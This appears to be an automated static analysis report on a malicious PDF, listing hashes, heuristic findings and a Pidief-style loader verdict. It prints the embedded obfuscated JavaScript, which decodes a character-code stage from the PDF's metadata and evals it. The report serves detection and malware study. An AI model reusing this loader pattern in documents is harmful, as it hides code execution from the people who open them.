Malicious PDF — malware analysis report

Static analysis result for SHA-256 9f5f3119f4daca0c…

MALICIOUS

PDF

44.5 KB Authoring application: substr First seen: 2026-05-08
MD5: 680878a10e8adb84ceb6fc9d76825d12 SHA-1: 3d87783b2d788c1ba96159d13c39b0e50c36c0ec SHA-256: 9f5f3119f4daca0c73c8c3fc8f692a4cf9f6d8dbc04484b0c7ae224437deeced
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAF38 484 bytes
SHA-256: 561e186d43924592dd47165584e1df69d904964af0f0d8cb5fd3e2ffabac9d78
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
c='';
a=c.concat('e','|','a',"n","b","w",b,"o");
s=author+a[2]+t[0];
e=v[v]()[s];
uta=e(v[4]+'i'.concat(v[4],t));
q=uta[v](a.length-7,a.length+1);
d=v[0].toUpperCase()+'tring.f'+'r';
d+='o'+q;
pphb=e(e('d'));
sub=v[0];
sub+='ubject';
q=uta[e('v')](t.length+12)[v[0]+e(sub)+'t']('c');
k=q[t[0].concat('eng'+'t'+'h')];
i=t.length-2;
for(;i!==k;){
	ivx = 1*(q[i]);
	i++;
	ivx -= (-1)*(q[i]);
	s2 += pphb(ivx);
	i++;
}
e(s2);

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